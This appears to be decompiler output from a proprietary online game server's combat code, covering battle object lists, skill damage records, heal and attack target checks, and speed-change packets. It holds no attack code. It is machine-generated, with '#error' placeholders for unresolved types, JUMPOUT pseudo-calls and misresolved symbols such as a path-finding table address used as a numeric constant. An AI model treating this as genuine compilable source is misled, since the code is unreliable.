int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 14; return result; } //----- (0042D9F0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 638B00: using guessed type int (__stdcall *List_BattleObjectGroup__BattleObject____vftable_[3])(__int16 hnd); //----- (0042DA10) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, BattleObjectGroup::BattleObject *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0xE0u); this->vfptr->l_Free(this, v3); } return 1; } //----- (0042DA60) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, BattleObjectGroup::BattleObject *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0xE0u); this->vfptr->l_Free(this, v3); } return 1; } //----- (0042DAB0) -------------------------------------------------------- void __cdecl std::fill(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Val) { AbnormalStateContainer::AbstateElementInObject *v3; // eax@1 void *v4; // edi@2 v3 = _First; while ( v3 != _Last ) { v4 = v3; ++v3; memcpy(v4, _Val, 0x6Cu); } } //----- (0042DAE0) -------------------------------------------------------- void __cdecl std::fill(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val) { PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *i; // eax@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v4; // edi@2 for ( i = _First; i != _Last; v4->hpchangeorder = _Val->hpchangeorder ) { v4 = i; *(_DWORD *)&i->handle = *(_DWORD *)&_Val->handle; i->hpchange = _Val->hpchange; i->resthp = _Val->resthp; ++i; } } //----- (0042DB20) -------------------------------------------------------- PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__cdecl std::_Copy_opt(std::vector >::iterator _First, std::vector >::iterator _Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { std::vector >::iterator v4; // ecx@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *result; // eax@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v6; // edi@2 unsigned __int16 v7; // si@2 v4 = _First; for ( result = _Dest; v4 != _Last; v6->hpchangeorder = v7 ) { v6 = result; *(_DWORD *)&result->handle = **(_DWORD **)&v4; result->hpchange = *(_DWORD *)(*(_DWORD *)&v4 + 4); result->resthp = *(_DWORD *)(*(_DWORD *)&v4 + 8); v7 = *(_WORD *)(*(_DWORD *)&v4 + 12); *(_DWORD *)&v4 += 14; ++result; } return result; } //----- (0042DB60) -------------------------------------------------------- PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__cdecl std::_Copy_backward_opt(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v4; // ecx@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *result; // eax@1 v4 = _Last; for ( result = _Dest; v4 != _First; result->hpchangeorder = v4->hpchangeorder ) { --v4; --result; *(_DWORD *)&result->handle = *(_DWORD *)&v4->handle; result->hpchange = v4->hpchange; result->resthp = v4->resthp; } return result; } //----- (0042DBA0) -------------------------------------------------------- void __thiscall MultiHitArgument::mha_SetAbState(MultiHitArgument *this, int sub, char *statename, int rate, int strength) { MultiHitArgument *v5; // esi@1 int v6; // eax@2 unsigned int v7; // eax@3 int v8; // eax@4 int v9; // ecx@5 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MultiHitArgument::mha_SetAbState"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MultiHitArgument::mha_SetAbState"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *statename == 45 ) { v6 = (int)((char *)v5 + 12 * sub); *(_DWORD *)(v6 + 8) = 0; *(_DWORD *)(v6 + 12) = 609; *(_DWORD *)(v6 + 16) = 0; } else { v7 = BTree::operator__(&unk_6BD71C, statename); if ( v7 == -1 ) { v8 = (int)((char *)v5 + 12 * sub); *(_DWORD *)(v8 + 8) = 0; *(_DWORD *)(v8 + 12) = 609; *(_DWORD *)(v8 + 16) = 0; } else { v9 = (int)((char *)v5 + 12 * sub); *(_DWORD *)(v9 + 12) = v7; *(_DWORD *)(v9 + 8) = rate; *(_DWORD *)(v9 + 16) = strength; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MultiHitArgument::mha_SetAbState"); } //----- (0042DCA0) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObjectList::_BattleObjectList(BattleObjectGroup::BattleObjectList *this) { BattleObjectGroup::BattleObjectList *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_destructor_iterator_( this->bol_Array, 0xE0u, 1024, (void (__thiscall *)(void *))BattleObjectGroup::BattleObject::_BattleObject); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 638B00: using guessed type int (__stdcall *List_BattleObjectGroup__BattleObject____vftable_[3])(__int16 hnd); //----- (0042DD10) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObjectList::bol_Store(BattleObjectGroup::BattleObjectList *this, BattleObjectGroup::BattleObjectStruct *battleobject, unsigned int hittime) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BattleObjectGroup::BattleObjectList::bol_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BattleObjectGroup::BattleObjectList::bol_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BattleObjectGroup::BattleObjectList::bol_Store"); } //----- (0042DD60) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_mobile_ICanDamageTo(#593 *this, char *a2) { void *v2; // esi@1 int v3; // ecx@1 bool v4; // zf@1 MobKillerIdentity v6; // ebx@11 unsigned __int16 v7; // ax@13 int v8; // eax@14 FunctionEntarance *v9; // ecx@14 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v11; // [sp+18h] [bp-4h]@1 v2 = (void *)this; _.fe_FunctionCode = "ShineObjectClass::ShineMobileObject::so_mobile_ICanDamageTo"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_ICanDamageTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_mobile_ICanDamageTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v3 = funcallanalizer.fca_stackpoint++ + 1; v4 = (*((_BYTE *)v2 + 7428) & 4) == 0; v11 = 0; if ( !v4 ) { funcallanalizer.fca_stackpoint = v3 - 1; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_ICanDamageTo"); return 0; } if ( a2 && *((_WORD *)v2 + 2) != *((_WORD *)a2 + 2) && ShineObjectClass::ShineObject::so_SubLayer_CanAttack(v2, (int)a2) ) { if ( !*(_DWORD *)((char *)v2 + 98) || (unsigned __int8)(*(int (__thiscall **)(char *))(*(_DWORD *)a2 + 1152))(a2) == 3 || !(unsigned __int8)(*(int (__thiscall **)(char *))(*(_DWORD *)a2 + 1152))(a2) || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1152))(v2) == 3 ) goto LABEL_21; v6 = 2; if ( (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1792))(v2) != -1 ) v6 = 1; v7 = (*(int (__thiscall **)(char *))(*(_DWORD *)a2 + 1792))(a2); if ( MobDataBox::mdb_CanIKill(&mobdatabox, v7, v6) ) { v8 = (*(int (__thiscall **)(char *))(*(_DWORD *)a2 + 2252))(a2); v9 = &_; v11 = -1; if ( v8 != 3 ) { FunctionEntarance::_FunctionEntarance(&_); return 1; } } else { LABEL_21: v9 = &_; v11 = -1; } FunctionEntarance::_FunctionEntarance(v9); } else { --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_ICanDamageTo"); } return 0; } // 42DD60: inconsistent function type and number of purged bytes //----- (0042DF00) -------------------------------------------------------- #error "42DF00: undefined or illegal type '#615' (funcsize=43)" //----- (0042DFB0) -------------------------------------------------------- #error "42DFB0: undefined or illegal type '#593' (funcsize=111)" //----- (0042E120) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::smo_ICanHealTo(void *this, int a2) { void *v2; // esi@1 bool v3; // bl@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ICanHealTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_ICanHealTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (*(int (__thiscall **)(void *, int, _DWORD))(*(_DWORD *)v2 + 2432))(v2, a2, "smo_ICanHealTo") == 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ICanHealTo"); return v3; } //----- (0042E1E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::smo_ICanHealTo(void *this, int a2) { void *v2; // edi@1 char v3; // bl@3 FunctionProfiler::PerformanceRecorder *v4; // ecx@5 char result; // al@7 char v6; // bl@13 char v7; // al@13 int v8; // esi@17 int v9; // eax@17 char *v10; // [sp-4h] [bp-24h]@5 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::smo_ICanHealTo"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ICanHealTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ICanHealTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; if ( !ShineObjectClass::ShineMobileObject::smo_ICanHealTo(v2, a2) ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1228))(a2) != 2 || (v3 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 2708))(a2), v3 != (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2708))(v2)) ) { skilltargeterr = 4054; LABEL_5: --funcallanalizer.fca_stackpoint; v4 = &_PerformanceRecorder; v12 = -1; v10 = "ShineObjectClass::ShinePlayer::smo_ICanHealTo"; LABEL_6: FunctionProfiler::PerformanceRecorder::pr_Exit(v4, v10); return 0; } } if ( (*(int (__thiscall **)(int, signed int))(*(_DWORD *)a2 + 1000))(a2, 413) ) goto LABEL_5; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 1228))(a2) == 2 ) { if ( *((_WORD *)v2 + 2) == *(_WORD *)(a2 + 4) ) { --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ICanHealTo"); result = 1; } else { if ( (unsigned __int8)(*(int (__thiscall **)(void *, int))(*(_DWORD *)v2 + 3252))(v2, a2) == 1 ) goto LABEL_5; v6 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 2708))(a2); v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2708))(v2); v12 = -1; if ( v7 != v6 ) { skilltargeterr = 4054; FunctionEntarance::_FunctionEntarance(&_); return 0; } FunctionEntarance::_FunctionEntarance(&_); result = 1; } } else { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1228))(a2) != 5 ) goto LABEL_5; v8 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 2252))(a2); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2252))(v2); --funcallanalizer.fca_stackpoint; v10 = "ShineObjectClass::ShinePlayer::smo_ICanHealTo"; v12 = -1; v4 = &_PerformanceRecorder; if ( v8 != v9 ) goto LABEL_6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ICanHealTo"); result = 1; } return result; } //----- (0042E3E0) -------------------------------------------------------- #error "42E3E0: undefined or illegal type '#615' (funcsize=41)" //----- (0042E490) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMob::smo_ICanHealTo(void *this, int a2) { void *v2; // esi@1 bool result; // al@2 int v4; // edi@3 bool v5; // bl@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_ICanHealTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::smo_ICanHealTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ShineObjectClass::ShineMobileObject::smo_ICanHealTo(v2, a2) ) { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 2252))(a2); v5 = v4 == (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2252))(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_ICanHealTo"); result = v5; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_ICanHealTo"); result = 0; } return result; } //----- (0042E580) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_ListCheck(SkillEffectApply::SkillBlastEffectContainer *this) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SkillEffectApply::SkillBlastEffectContainer::sbec_ListCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SkillEffectApply::SkillBlastEffectContainer::sbec_ListCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SkillEffectApply::SkillBlastEffectContainer::sbec_ListCheck"); } //----- (0042E5C0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineMobileObject::smo_SkillBlastTick(int sklidx) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBlastTick"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillBlastTick"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBlastTick"); return 0; } //----- (0042E610) -------------------------------------------------------- int __stdcall ShineObjectClass::ShinePlayer::smo_SkillBlastTick(int sklidx) { signed int v1; // edx@2 int v2; // esi@2 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_SkillBlastTick"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_SkillBlastTick"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( sklidx ) { v1 = (signed int)((unsigned __int64)(10 * *(_WORD *)(*(_DWORD *)sklidx + 75) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v2 = v1 + ((unsigned int)v1 >> 31); } else { v2 = 100000; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_SkillBlastTick"); return v2; } //----- (0042E6A0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::smo_SkillBlastTick(void *this, int sklidx) { void *v2; // edi@1 signed int v3; // edx@2 int v4; // esi@2 int v5; // ecx@4 int v6; // eax@5 int v7; // eax@7 signed int v8; // edx@8 char *v10; // [sp-4h] [bp-20h]@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_SkillBlastTick"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::smo_SkillBlastTick"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( sklidx ) { v3 = (signed int)((unsigned __int64)(10 * *(_WORD *)(*(_DWORD *)sklidx + 75) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v4 = v3 + ((unsigned int)v3 >> 31); } else { v4 = 99999; } v5 = *((_DWORD *)v2 + 1914); if ( v5 && (v6 = *((_DWORD *)v2 + 1920), v6 >= 0) && v6 < *(_DWORD *)(v5 + 12) ) { v7 = *(_DWORD *)(*(_DWORD *)(v5 + 8) + 12 * v6); v10 = "ShineObjectClass::ShineMob::smo_SkillBlastTick"; if ( v7 ) { v8 = (signed int)((unsigned __int64)(10 * *(_WORD *)(v7 + 77) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v4 = v8 + ((unsigned int)v8 >> 31); } } else { v10 = "ShineObjectClass::ShineMob::smo_SkillBlastTick"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); return v4; } //----- (0042E7A0) -------------------------------------------------------- char __stdcall ShineObjectClass::ShineMobileObject::smo_ply_MoveAfterCast(int castendtick) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ply_MoveAfterCast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_ply_MoveAfterCast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ply_MoveAfterCast"); return 0; } //----- (0042E7F0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::smo_ply_MoveAfterCast(void *this, unsigned int castendtick) { void *v2; // esi@1 bool v3; // cf@1 bool v4; // bl@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_MoveAfterCast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_MoveAfterCast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = castendtick < *((_DWORD *)v2 + 35784); --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_MoveAfterCast"); return v4; } //----- (0042E860) -------------------------------------------------------- #error "42E860: undefined or illegal type '#593' (funcsize=50)" //----- (0042E930) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_EscapeFromTarget(void *this) { void *v1; // esi@1 __int16 v2; // di@1 int v3; // ST04_4@1 int v4; // eax@1 int (__stdcall **altc)(int, int, int); // [sp+Ch] [bp-18h]@1 __int16 v6; // [sp+10h] [bp-14h]@1 int v7; // [sp+14h] [bp-10h]@1 int v8; // [sp+20h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_EscapeFromTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_EscapeFromTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 2); v8 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&altc); altc = &AxialListTargetChange::_vftable_; v6 = v2; v7 = 0; v3 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v8) = 1; v4 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v4, v3, 0, 0, (int)&altc, 0, 65535); LOBYTE(v8) = 0; altc = &AxialListTargetChange::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&altc); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_EscapeFromTarget"); } // 638AFC: using guessed type int (__stdcall *AxialListTargetChange___vftable_)(int, int, int distancesquar); //----- (0042EA20) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, BattleObjectGroup::BattleObject *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0xE0u); return 1; } // 42EA35: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0042EA50) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, BattleObjectGroup::BattleObject *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0xE0u); return 1; } // 42EA66: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0042EA90) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__cdecl std::copy_backward(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Dest) { AbnormalStateContainer::AbstateElementInObject *v3; // edx@1 AbnormalStateContainer::AbstateElementInObject *result; // eax@1 v3 = _Last; result = _Dest; while ( v3 != _First ) { --v3; --result; memcpy(result, v3, 0x6Cu); } return result; } //----- (0042EAC0) -------------------------------------------------------- std::vector >::iterator *__cdecl std::find>::iterator_SkillEffectApply::SkillBlastEffect>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, SkillEffectApply::SkillBlastEffect *_Val) { std::vector >::iterator v4; // esi@1 std::vector >::iterator *v5; // eax@4 v4 = _First; if ( _First == _Last ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _First; } else { do { if ( SkillEffectApply::SkillBlastEffect::operator__(*(SkillEffectApply::SkillBlastEffect **)&v4, _Val) ) break; *(_DWORD *)&v4 += 108; } while ( v4 != _Last ); v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; } return v5; } //----- (0042EB00) -------------------------------------------------------- std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_SkillEffectApply::SkillBlastEffect>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, SkillEffectApply::SkillBlastEffect *_Val) { std::vector >::iterator v5; // ebx@1 std::vector >::iterator v6; // ebp@2 void *v7; // edi@4 std::vector >::iterator *v8; // eax@6 v5 = _First; if ( _First == _Last ) { v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Dest; } else { v6 = _Dest; do { if ( !SkillEffectApply::SkillBlastEffect::operator__(*(SkillEffectApply::SkillBlastEffect **)&v5, _Val) ) { v7 = (void *)v6; *(_DWORD *)&v6 += 108; memcpy(v7, *(const void **)&v5, 0x6Cu); } *(_DWORD *)&v5 += 108; } while ( v5 != _Last ); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; } return v8; } //----- (0042EB60) -------------------------------------------------------- PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__cdecl std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v5; // ecx@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { *(_DWORD *)&result->handle = *(_DWORD *)&v5->handle; result->hpchange = v5->hpchange; result->resthp = v5->resthp; result->hpchangeorder = v5->hpchangeorder; } ++v5; } return result; } //----- (0042EBB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SpeedChange(void *pObj) { int v1; // esi@1 int v2; // edx@1 int v3; // ebp@1 int v4; // edi@2 int v5; // edi@3 unsigned __int16 v6; // ax@3 char *v7; // eax@3 int v8; // edi@3 int v9; // eax@3 int v10; // ST04_4@3 int v11; // eax@3 int v12; // edi@5 int v13; // edi@6 unsigned __int16 v14; // ax@6 char *v15; // eax@8 int v16; // edi@8 int v17; // eax@8 int v18; // ST04_4@8 int v19; // eax@8 AxialListPacketBroadcast alchat; // [sp+20h] [bp-18h]@3 int v21; // [sp+34h] [bp-4h]@1 v1 = (int)pObj; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_SpeedChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_mobile_SpeedChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)v1; v21 = 0; v3 = (*(int (__thiscall **)(int))(v2 + 1540))(v1); if ( (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1972))(v1) == 1 ) { v4 = (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1296))(v1); if ( (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1968))(v1) != v4 ) { v5 = *(_DWORD *)v1; v6 = (*(int (__thiscall **)(int, signed int, _DWORD))(*(_DWORD *)v1 + 1296))(v1, 1, 0); (*(void (__thiscall **)(int, int, _DWORD))(v5 + 1624))(v1, v3, v6); v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8216; v8 = (int)(v7 + 2); *((_WORD *)v7 + 1) = *(_WORD *)(v1 + 4); v9 = *(_DWORD *)(v1 + 78); *(_DWORD *)(v8 + 2) = *(_DWORD *)v9; *(_DWORD *)(v8 + 6) = *(_DWORD *)(v9 + 4); *(_DWORD *)(v8 + 10) = *(_DWORD *)v3; LOBYTE(v9) = *(_BYTE *)(v8 + 20) & 0xFE; *(_DWORD *)(v8 + 14) = *(_DWORD *)(v3 + 4); *(_BYTE *)(v8 + 20) = v9; *(_WORD *)(v8 + 18) = (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1296))(v1); *(_WORD *)(v1 + 194) = 24; *(_DWORD *)(v1 + 196) = *(_DWORD *)v8; *(_DWORD *)(v1 + 200) = *(_DWORD *)(v8 + 4); *(_DWORD *)(v1 + 204) = *(_DWORD *)(v8 + 8); *(_DWORD *)(v1 + 208) = *(_DWORD *)(v8 + 12); *(_DWORD *)(v1 + 212) = *(_DWORD *)(v8 + 16); *(_BYTE *)(v1 + 216) = *(_BYTE *)(v8 + 20); 